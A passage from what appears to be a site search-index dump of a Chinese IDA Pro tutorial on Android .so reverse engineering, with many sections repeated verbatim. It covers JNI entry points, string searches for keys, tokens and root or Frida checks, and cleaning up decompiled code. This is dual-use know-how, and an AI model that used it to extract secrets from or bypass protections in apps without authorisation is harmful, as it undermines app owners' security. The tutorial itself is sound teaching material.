命令行，或通过 Cutter 提供 GUI 反编译器 Hex-Rays (业界顶尖，需付费) 内置免费，质量非常高 内置免费 (ghidra-dec)，或支持其他 生态系统 极其成熟，插件海量 快速发展中 高度可定制，但插件较少 处理器支持 最广泛 广泛，但略少于 IDA 极广，覆盖很多小众架构 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:2:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#ida-pro-vs-ghidra-vs-radare2"},{"categories":null,"collections":null,"content":"版本与安装 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:3:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#版本与安装"},{"categories":null,"collections":null,"content":"版本类型 版本 说明 IDA Pro 完整版本，包含所有处理器模块和调试器 IDA Home 针对个人爱好者的廉价版，功能受限 IDA Free 免费版本，功能严重受限，仅支持 x86/x64，且不能保存数据库 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:3:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#版本类型"},{"categories":null,"collections":null,"content":"购买与安装 需要通过官方或授权经销商购买 安装过程是标准的下一步式安装 免费版仅适合非常初级的学习 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:3:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#购买与安装"},{"categories":null,"collections":null,"content":"基本工作流程 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:4:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#基本工作流程"},{"categories":null,"collections":null,"content":"1. 启动 IDA 打开 IDA Pro。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:4:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#1-启动-ida"},{"categories":null,"collections":null,"content":"2. 加载文件 在启动界面点击 New，或将二进制文件直接拖入主窗口。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:4:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#2-加载文件"},{"categories":null,"collections":null,"content":"3. 加载选项 IDA 会弹出一个加载对话框，让你确认文件类型、处理器类型等。通常，IDA 的自动分析非常准确，直接点击 OK 即可。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:4:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#3-加载选项"},{"categories":null,"collections":null,"content":"4. 自动分析 IDA 会进行长时间的自动分析。分析过程可以在底部的输出窗口看到。耐心等待分析完成是使用 IDA 的好习惯，否则很多功能无法正常使用。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:4:4","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#4-自动分析"},{"categories":null,"collections":null,"content":"5. 开始分析 分析完成后，即可开始交互式分析。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:4:5","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#5-开始分析"},{"categories":null,"collections":null,"content":"关键视图与快捷键 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:5:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#关键视图与快捷键"},{"categories":null,"collections":null,"content":"IDA View (反汇编视图) 这是 IDA 的主视图。按空格键可以在图形视图（流程图）和文本视图（线性反汇编）之间切换。 图形视图非常适合理解函数内的逻辑分支和循环。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:5:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#ida-view-反汇编视图"},{"categories":null,"collections":null,"content":"Hex View (十六进制视图) 以经典的十六进制编辑器形式展示文件内容，与反汇编视图同步高亮。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:5:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#hex-view-十六进制视图"},{"categories":null,"collections":null,"content":"Structures (结构体视图) 快捷键: Shift+F9 用于定义和管理 C 语言风格的结构体 你可以手动创建，也可以从 C 头文件导入 正确地定义数据结构是逆向工程的关键一步 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:5:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#structures-结构体视图"},{"categories":null,"collections":null,"content":"Enums (枚举视图) 快捷键: Shift+F10 用于定义和管理枚举类型 可以极大地提高代码的可读性，例如将 mov eax, 2 变为 mov eax, MODE_READ ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:5:4","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#enums-枚举视图"},{"categories":null,"collections":null,"content":"核心快捷键 快捷键 功能 G 跳转到指定地址 N 重命名变量、函数、标签 Y 修改变量类型 X 查看交叉引用 (cross-references)，即哪些地方调用/引用了当前符号 P 创建一个函数 U 取消定义（如将代码变为未定义数据） ; 添加行注释 : 添加可重复注释 F5 (如果已购买) 启动 Hex-Rays 反编译器 D 在 byte / word / dword / qword 之间切换数据类型 A 将数据转换为 ASCII 字符串 C 将数据转换为代码 H 十进制/十六进制切换 Alt+T 文本搜索 Alt+B 二进制字节搜索 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:5:5","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#核心快捷键"},{"categories":null,"collections":null,"content":"Android SO 分析实战 💡 思路一句话: 加载 SO → 等自动分析完成 → Exports 找 JNI 函数入口 → F5 反编译 → Strings 窗口搜索关键字符串 → 交叉引用追踪调用链。IDA 的核心价值是「从字符串和导出函数出发，逆向追踪代码逻辑」。 这是 IDA Pro 在 Android 逆向中最核心的使用场景。我们将以一个典型的 .so 文件为例，完整演示从加载到分析的全过程。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:6:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#android-so-分析实战"},{"categories":null,"collections":null,"content":"第一步：从 APK 中提取 SO 文件 APK 本质上是一个 ZIP 文件。原生 SO 库位于 lib/ 目录下，按 ABI 分类： app.apk ├── lib/ │ ├── armeabi-v7a/ │ │ └── libnative.so \u003c-- 32-bit ARM │ ├── arm64-v8a/ │ │ └── libnative.so \u003c-- 64-bit ARM (推荐分析此版本) │ └── x86_64/ │ └── libnative.so \u003c-- x86_64 (模拟器用) ├── classes.dex └── AndroidManifest.xml 推荐优先分析 arm64-v8a 版本，原因如下： ARM64 寄存器更多（X0-X30），反编译结果更清晰 现代 Android 设备几乎全部是 64 位 Hex-Rays 对 ARM64 的反编译支持最好 提取方法：直接 unzip app.apk -d app_extracted 解压，或使用 apktool d app.apk 保留更多元信息。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:6:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#第一步从-apk-中提取-so-文件"},{"categories":null,"collections":null,"content":"第二步：加载 SO 到 IDA 启动 IDA Pro，选择 New，打开提取出的 .so 文件。IDA 会自动识别为 ELF 格式并选择正确的处理器类型（ARM / AArch64）。通常保持默认设置点击 OK 即可。等待底部状态栏显示 AU: idle 表示自动分析完成。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:6:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#第二步加载-so-到-ida"},{"categories":null,"collections":null,"content":"第三步：定位关键函数 加载完成后，我们需要找到有意义的分析入口。以下是几种常用策略： 策略一：从导出函数入手 打开 Exports 窗口（View -\u003e Open subviews -\u003e Exports），查找 JNI 函数： JNI 函数命名规则：Java_包名_类名_方法名 示例： Java_com_example_app_NativeLib_encrypt Java_com_example_app_NativeLib_verify Java_com_example_app_NativeLib_getSign 这些函数是 Java 层调用 Native 层的直接入口，通常是分析的最佳起点。 策略二：从字符串搜索入手 按 Shift+F12 打开 Strings 窗口，搜索关键词： 常见有价值的字符串： - \"AES\", \"RSA\", \"MD5\", \"SHA\" -\u003e 加密算法线索 - \"key\", \"secret\", \"token\" -\u003e 密钥相关 - \"verify\", \"sign\", \"check\" -\u003e 签名验证 - \"http\", \"https\", \"api\" -\u003e 网络请求 - \"/proc/self/maps\" -\u003e 反调试检测 - \"su\", \"magisk\", \"frida\" -\u003e Root/Hook 检测 找到感兴趣的字符串后，双击跳转到字符串定义位置，然后按 X 查看交叉引用，即可找到使用该字符串的函数。 策略三：从 init_array 入手 .init_array 段中的函数会在 SO 被 System.loadLibrary() 加载时自动执行，常用于反调试检测初始化、字符串解密和动态注册 JNI 函数。在 IDA 中通过 View -\u003e Open subviews -\u003e Segments 找到 .init_array 段即可查看。 策略四：从 JNI_OnLoad 入手 JNI_OnLoad 是 SO 加载时被 JVM 调用的特殊导出函数。许多应用使用它来进行动态 JNI 注册（RegisterNatives）。典型流程为：JNI_OnLoad -\u003e GetEnv / FindClass -\u003e RegisterNatives。 重点关注 RegisterNatives 的第三个参数，它是一个 JNINativeMethod 结构体数组： typedef struct { const char* name; // Java 方法名 const char* signature; // 方法签名 void* fnPtr; // Native 函数指针 \u003c-- 真正的实现函数 } JNINativeMethod; ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:6:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#第三步定位关键函数"},{"categories":null,"collections":null,"content":"第三步：定位关键函数 加载完成后，我们需要找到有意义的分析入口。以下是几种常用策略： 策略一：从导出函数入手 打开 Exports 窗口（View -\u003e Open subviews -\u003e Exports），查找 JNI 函数： JNI 函数命名规则：Java_包名_类名_方法名 示例： Java_com_example_app_NativeLib_encrypt Java_com_example_app_NativeLib_verify Java_com_example_app_NativeLib_getSign 这些函数是 Java 层调用 Native 层的直接入口，通常是分析的最佳起点。 策略二：从字符串搜索入手 按 Shift+F12 打开 Strings 窗口，搜索关键词： 常见有价值的字符串： - \"AES\", \"RSA\", \"MD5\", \"SHA\" -\u003e 加密算法线索 - \"key\", \"secret\", \"token\" -\u003e 密钥相关 - \"verify\", \"sign\", \"check\" -\u003e 签名验证 - \"http\", \"https\", \"api\" -\u003e 网络请求 - \"/proc/self/maps\" -\u003e 反调试检测 - \"su\", \"magisk\", \"frida\" -\u003e Root/Hook 检测 找到感兴趣的字符串后，双击跳转到字符串定义位置，然后按 X 查看交叉引用，即可找到使用该字符串的函数。 策略三：从 init_array 入手 .init_array 段中的函数会在 SO 被 System.loadLibrary() 加载时自动执行，常用于反调试检测初始化、字符串解密和动态注册 JNI 函数。在 IDA 中通过 View -\u003e Open subviews -\u003e Segments 找到 .init_array 段即可查看。 策略四：从 JNI_OnLoad 入手 JNI_OnLoad 是 SO 加载时被 JVM 调用的特殊导出函数。许多应用使用它来进行动态 JNI 注册（RegisterNatives）。典型流程为：JNI_OnLoad -\u003e GetEnv / FindClass -\u003e RegisterNatives。 重点关注 RegisterNatives 的第三个参数，它是一个 JNINativeMethod 结构体数组： typedef struct { const char* name; // Java 方法名 const char* signature; // 方法签名 void* fnPtr; // Native 函数指针 \u003c-- 真正的实现函数 } JNINativeMethod; ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:6:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#策略一从导出函数入手"},{"categories":null,"collections":null,"content":"第三步：定位关键函数 加载完成后，我们需要找到有意义的分析入口。以下是几种常用策略： 策略一：从导出函数入手 打开 Exports 窗口（View -\u003e Open subviews -\u003e Exports），查找 JNI 函数： JNI 函数命名规则：Java_包名_类名_方法名 示例： Java_com_example_app_NativeLib_encrypt Java_com_example_app_NativeLib_verify Java_com_example_app_NativeLib_getSign 这些函数是 Java 层调用 Native 层的直接入口，通常是分析的最佳起点。 策略二：从字符串搜索入手 按 Shift+F12 打开 Strings 窗口，搜索关键词： 常见有价值的字符串： - \"AES\", \"RSA\", \"MD5\", \"SHA\" -\u003e 加密算法线索 - \"key\", \"secret\", \"token\" -\u003e 密钥相关 - \"verify\", \"sign\", \"check\" -\u003e 签名验证 - \"http\", \"https\", \"api\" -\u003e 网络请求 - \"/proc/self/maps\" -\u003e 反调试检测 - \"su\", \"magisk\", \"frida\" -\u003e Root/Hook 检测 找到感兴趣的字符串后，双击跳转到字符串定义位置，然后按 X 查看交叉引用，即可找到使用该字符串的函数。 策略三：从 init_array 入手 .init_array 段中的函数会在 SO 被 System.loadLibrary() 加载时自动执行，常用于反调试检测初始化、字符串解密和动态注册 JNI 函数。在 IDA 中通过 View -\u003e Open subviews -\u003e Segments 找到 .init_array 段即可查看。 策略四：从 JNI_OnLoad 入手 JNI_OnLoad 是 SO 加载时被 JVM 调用的特殊导出函数。许多应用使用它来进行动态 JNI 注册（RegisterNatives）。典型流程为：JNI_OnLoad -\u003e GetEnv / FindClass -\u003e RegisterNatives。 重点关注 RegisterNatives 的第三个参数，它是一个 JNINativeMethod 结构体数组： typedef struct { const char* name; // Java 方法名 const char* signature; // 方法签名 void* fnPtr; // Native 函数指针 \u003c-- 真正的实现函数 } JNINativeMethod; ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:6:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#策略二从字符串搜索入手"},{"categories":null,"collections":null,"content":"第三步：定位关键函数 加载完成后，我们需要找到有意义的分析入口。以下是几种常用策略： 策略一：从导出函数入手 打开 Exports 窗口（View -\u003e Open subviews -\u003e Exports），查找 JNI 函数： JNI 函数命名规则：Java_包名_类名_方法名 示例： Java_com_example_app_NativeLib_encrypt Java_com_example_app_NativeLib_verify Java_com_example_app_NativeLib_getSign 这些函数是 Java 层调用 Native 层的直接入口，通常是分析的最佳起点。 策略二：从字符串搜索入手 按 Shift+F12 打开 Strings 窗口，搜索关键词： 常见有价值的字符串： - \"AES\", \"RSA\", \"MD5\", \"SHA\" -\u003e 加密算法线索 - \"key\", \"secret\", \"token\" -\u003e 密钥相关 - \"verify\", \"sign\", \"check\" -\u003e 签名验证 - \"http\", \"https\", \"api\" -\u003e 网络请求 - \"/proc/self/maps\" -\u003e 反调试检测 - \"su\", \"magisk\", \"frida\" -\u003e Root/Hook 检测 找到感兴趣的字符串后，双击跳转到字符串定义位置，然后按 X 查看交叉引用，即可找到使用该字符串的函数。 策略三：从 init_array 入手 .init_array 段中的函数会在 SO 被 System.loadLibrary() 加载时自动执行，常用于反调试检测初始化、字符串解密和动态注册 JNI 函数。在 IDA 中通过 View -\u003e Open subviews -\u003e Segments 找到 .init_array 段即可查看。 策略四：从 JNI_OnLoad 入手 JNI_OnLoad 是 SO 加载时被 JVM 调用的特殊导出函数。许多应用使用它来进行动态 JNI 注册（RegisterNatives）。典型流程为：JNI_OnLoad -\u003e GetEnv / FindClass -\u003e RegisterNatives。 重点关注 RegisterNatives 的第三个参数，它是一个 JNINativeMethod 结构体数组： typedef struct { const char* name; // Java 方法名 const char* signature; // 方法签名 void* fnPtr; // Native 函数指针 \u003c-- 真正的实现函数 } JNINativeMethod; ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:6:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#策略三从-init_array-入手"},{"categories":null,"collections":null,"content":"第三步：定位关键函数 加载完成后，我们需要找到有意义的分析入口。以下是几种常用策略： 策略一：从导出函数入手 打开 Exports 窗口（View -\u003e Open subviews -\u003e Exports），查找 JNI 函数： JNI 函数命名规则：Java_包名_类名_方法名 示例： Java_com_example_app_NativeLib_encrypt Java_com_example_app_NativeLib_verify Java_com_example_app_NativeLib_getSign 这些函数是 Java 层调用 Native 层的直接入口，通常是分析的最佳起点。 策略二：从字符串搜索入手 按 Shift+F12 打开 Strings 窗口，搜索关键词： 常见有价值的字符串： - \"AES\", \"RSA\", \"MD5\", \"SHA\" -\u003e 加密算法线索 - \"key\", \"secret\", \"token\" -\u003e 密钥相关 - \"verify\", \"sign\", \"check\" -\u003e 签名验证 - \"http\", \"https\", \"api\" -\u003e 网络请求 - \"/proc/self/maps\" -\u003e 反调试检测 - \"su\", \"magisk\", \"frida\" -\u003e Root/Hook 检测 找到感兴趣的字符串后，双击跳转到字符串定义位置，然后按 X 查看交叉引用，即可找到使用该字符串的函数。 策略三：从 init_array 入手 .init_array 段中的函数会在 SO 被 System.loadLibrary() 加载时自动执行，常用于反调试检测初始化、字符串解密和动态注册 JNI 函数。在 IDA 中通过 View -\u003e Open subviews -\u003e Segments 找到 .init_array 段即可查看。 策略四：从 JNI_OnLoad 入手 JNI_OnLoad 是 SO 加载时被 JVM 调用的特殊导出函数。许多应用使用它来进行动态 JNI 注册（RegisterNatives）。典型流程为：JNI_OnLoad -\u003e GetEnv / FindClass -\u003e RegisterNatives。 重点关注 RegisterNatives 的第三个参数，它是一个 JNINativeMethod 结构体数组： typedef struct { const char* name; // Java 方法名 const char* signature; // 方法签名 void* fnPtr; // Native 函数指针 \u003c-- 真正的实现函数 } JNINativeMethod; ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:6:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#策略四从-jni_onload-入手"},{"categories":null,"collections":null,"content":"第四步：分析函数逻辑 找到目标函数后，按 F5 进入反编译视图，开始逐步分析逻辑。详细的反编译器使用方法见下一节。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:6:4","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#第四步分析函数逻辑"},{"categories":null,"collections":null,"content":"Hex-Rays 反编译器实战 💡 思路一句话: 反编译器输出不完美时，用 Y 键修改变量类型、N 键重命名变量、T 键指定结构体 — 这三个快捷键能让反编译结果从「不可读」变成「基本可读」。 Hex-Rays 反编译器（俗称 F5）是 IDA Pro 的核心卖点。它可以将汇编代码转换为类似 C 语言的伪代码，极大地提升分析效率。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:7:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#hex-rays-反编译器实战"},{"categories":null,"collections":null,"content":"基本使用 在反汇编视图中，将光标定位到目标函数内部 按 F5 键，即可在新窗口中看到反编译后的伪代码 反编译视图与反汇编视图是双向同步的：在伪代码中点击某一行，反汇编视图会同步跳转 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:7:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#基本使用"},{"categories":null,"collections":null,"content":"提升伪代码可读性的关键操作 重命名变量和函数 这是最重要的操作。反编译器生成的默认变量名（如 v1, v2, a1）毫无意义，需要根据分析结果进行重命名： // 重命名前（几乎不可读） int __fastcall sub_12A0(int a1, int a2, int a3) { int v4 = *(_DWORD *)(a1 + 16); void *v5 = malloc(a3 + 1); memcpy(v5, *(void **)(a1 + 24), a3); return sub_1400(v5, a3, v4); } // 重命名后（逻辑清晰） int __fastcall decrypt_data(JNIEnv *env, jbyteArray input, int length) { int key_len = *(_DWORD *)(env + 16); void *buffer = malloc(length + 1); memcpy(buffer, *(void **)(env + 24), length); return aes_decrypt(buffer, length, key_len); } 操作方法：将光标放在变量/函数名上，按 N 键重命名。 修改变量类型 IDA 经常无法正确推断变量类型，尤其是 JNI 函数的参数。手动修正类型可以显著提升可读性： // 修正前：IDA 将 JNIEnv* 识别为 int int __fastcall Java_com_example_encrypt(int a1, int a2, int a3) // 修正后：设置正确的 JNI 类型 jbyteArray __fastcall Java_com_example_encrypt(JNIEnv *env, jobject thiz, jstring input) 操作方法：将光标放在变量上，按 Y 键修改类型。 提示：IDA 内置了 JNI 类型库。加载 SO 后，可以通过 View -\u003e Open subviews -\u003e Type Libraries 加载 jni_all 类型库，之后即可直接使用 JNIEnv*, jstring, jbyteArray 等类型。 定义结构体 当代码中存在大量的指针偏移访问时（如 *(a1 + 8)），应定义结构体：按 Shift+F9 打开结构体窗口，Insert 创建，D 添加字段，N 命名字段。然后将伪代码中的指针变量类型改为结构体指针，偏移量会自动变为字段名： // 定义前 // 定义后 v3 = *(_DWORD *)(a1 + 0); v3 = ctx-\u003ebuffer; v4 = *(_DWORD *)(a1 + 4); v4 = ctx-\u003ebuffer_size; v5 = *(_DWORD *)(a1 + 8); v5 = ctx-\u003ekey; 常用反编译器快捷键 快捷键 功能 F5 反编译当前函数 N 重命名变量/函数 Y 修改变量/函数类型 T 选择结构体成员 / 添加注释 \\ 隐藏/显示类型转换 (casts) Tab 在伪代码和反汇编视图之间切换 Ctrl+Shift+W 复制伪代码到剪贴板 右键 -\u003e Set number format 改变数值的显示格式 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:7:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#提升伪代码可读性的关键操作"},{"categories":null,"collections":null,"content":"提升伪代码可读性的关键操作 重命名变量和函数 这是最重要的操作。反编译器生成的默认变量名（如 v1, v2, a1）毫无意义，需要根据分析结果进行重命名： // 重命名前（几乎不可读） int __fastcall sub_12A0(int a1, int a2, int a3) { int v4 = *(_DWORD *)(a1 + 16); void *v5 = malloc(a3 + 1); memcpy(v5, *(void **)(a1 + 24), a3); return sub_1400(v5, a3, v4); } // 重命名后（逻辑清晰） int __fastcall decrypt_data(JNIEnv *env, jbyteArray input, int length) { int key_len = *(_DWORD *)(env + 16); void *buffer = malloc(length + 1); memcpy(buffer, *(void **)(env + 24), length); return aes_decrypt(buffer, length, key_len); } 操作方法：将光标放在变量/函数名上，按 N 键重命名。 修改变量类型 IDA 经常无法正确推断变量类型，尤其是 JNI 函数的参数。手动修正类型可以显著提升可读性： // 修正前：IDA 将 JNIEnv* 识别为 int int __fastcall Java_com_example_encrypt(int a1, int a2, int a3) // 修正后：设置正确的 JNI 类型 jbyteArray __fastcall Java_com_example_encrypt(JNIEnv *env, jobject thiz, jstring input) 操作方法：将光标放在变量上，按 Y 键修改类型。 提示：IDA 内置了 JNI 类型库。加载 SO 后，可以通过 View -\u003e Open subviews -\u003e Type Libraries 加载 jni_all 类型库，之后即可直接使用 JNIEnv*, jstring, jbyteArray 等类型。 定义结构体 当代码中存在大量的指针偏移访问时（如 *(a1 + 8)），应定义结构体：按 Shift+F9 打开结构体窗口，Insert 创建，D 添加字段，N 命名字段。然后将伪代码中的指针变量类型改为结构体指针，偏移量会自动变为字段名： // 定义前 // 定义后 v3 = *(_DWORD *)(a1 + 0); v3 = ctx-\u003ebuffer; v4 = *(_DWORD *)(a1 + 4); v4 = ctx-\u003ebuffer_size; v5 = *(_DWORD *)(a1 + 8); v5 = ctx-\u003ekey; 常用反编译器快捷键 快捷键 功能 F5 反编译当前函数 N 重命名变量/函数 Y 修改变量/函数类型 T 选择结构体成员 / 添加注释 \\ 隐藏/显示类型转换 (casts) Tab 在伪代码和反汇编视图之间切换 Ctrl+Shift+W 复制伪代码到剪贴板 右键 -\u003e Set number format 改变数值的显示格式 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:7:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#重命名变量和函数"},{"categories":null,"collections":null,"content":"提升伪代码可读性的关键操作 重命名变量和函数 这是最重要的操作。反编译器生成的默认变量名（如 v1, v2, a1）毫无意义，需要根据分析结果进行重命名： // 重命名前（几乎不可读） int __fastcall sub_12A0(int a1, int a2, int a3) { int v4 = *(_DWORD *)(a1 + 16); void *v5 = malloc(a3 + 1); memcpy(v5, *(void **)(a1 + 24), a3); return sub_1400(v5, a3, v4); } // 重命名后（逻辑清晰） int __fastcall decrypt_data(JNIEnv *env, jbyteArray input, int length) { int key_len = *(_DWORD *)(env + 16); void *buffer = malloc(length + 1); memcpy(buffer, *(void **)(env + 24), length); return aes_decrypt(buffer, length, key_len); } 操作方法：将光标放在变量/函数名上，按 N 键重命名。 修改变量类型 IDA 经常无法正确推断变量类型，尤其是 JNI 函数的参数。手动修正类型可以显著提升可读性： // 修正前：IDA 将 JNIEnv* 识别为 int int __fastcall Java_com_example_encrypt(int a1, int a2, int a3) // 修正后：设置正确的 JNI 类型 jbyteArray __fastcall Java_com_example_encrypt(JNIEnv *env, jobject thiz, jstring input) 操作方法：将光标放在变量上，按 Y 键修改类型。 提示：IDA 内置了 JNI 类型库。加载 SO 后，可以通过 View -\u003e Open subviews -\u003e Type Libraries 加载 jni_all 类型库，之后即可直接使用 JNIEnv*, jstring, jbyteArray 等类型。 定义结构体 当代码中存在大量的指针偏移访问时（如 *(a1 + 8)），应定义结构体：按 Shift+F9 打开结构体窗口，Insert 创建，D 添加字段，N 命名字段。然后将伪代码中的指针变量类型改为结构体指针，偏移量会自动变为字段名： // 定义前 // 定义后 v3 = *(_DWORD *)(a1 + 0); v3 = ctx-\u003ebuffer; v4 = *(_DWORD *)(a1 + 4); v4 = ctx-\u003ebuffer_size; v5 = *(_DWORD *)(a1 + 8); v5 = ctx-\u003ekey; 常用反编译器快捷键 快捷键 功能 F5 反编译当前函数 N 重命名变量/函数 Y 修改变量/函数类型 T 选择结构体成员 / 添加注释 \\ 隐藏/显示类型转换 (casts) Tab 在伪代码和反汇编视图之间切换 Ctrl+Shift+W 复制伪代码到剪贴板 右键 -\u003e Set number format 改变数值的显示格式 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:7:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#修改变量类型"},{"categories":null,"collections":null,"content":"提升伪代码可读性的关键操作 重命名变量和函数 这是最重要的操作。反编译器生成的默认变量名（如 v1, v2, a1）毫无意义，需要根据分析结果进行重命名： // 重命名前（几乎不可读） int __fastcall sub_12A0(int a1, int a2, int a3) { int v4 = *(_DWORD *)(a1 + 16); void *v5 = malloc(a3 + 1); memcpy(v5, *(void **)(a1 + 24), a3); return sub_1400(v5, a3, v4); } // 重命名后（逻辑清晰） int __fastcall decrypt_data(JNIEnv *env, jbyteArray input, int length) { int key_len = *(_DWORD *)(env + 16); void *buffer = malloc(length + 1); memcpy(buffer, *(void **)(env + 24), length); return aes_decrypt(buffer, length, key_len); } 操作方法：将光标放在变量/函数名上，按 N 键重命名。 修改变量类型 IDA 经常无法正确推断变量类型，尤其是 JNI 函数的参数。手动修正类型可以显著提升可读性： // 修正前：IDA 将 JNIEnv* 识别为 int int __fastcall Java_com_example_encrypt(int a1, int a2, int a3) // 修正后：设置正确的 JNI 类型 jbyteArray __fastcall Java_com_example_encrypt(JNIEnv *env, jobject thiz, jstring input) 操作方法：将光标放在变量上，按 Y 键修改类型。 提示：IDA 内置了 JNI 类型库。加载 SO 后，可以通过 View -\u003e Open subviews -\u003e Type Libraries 加载 jni_all 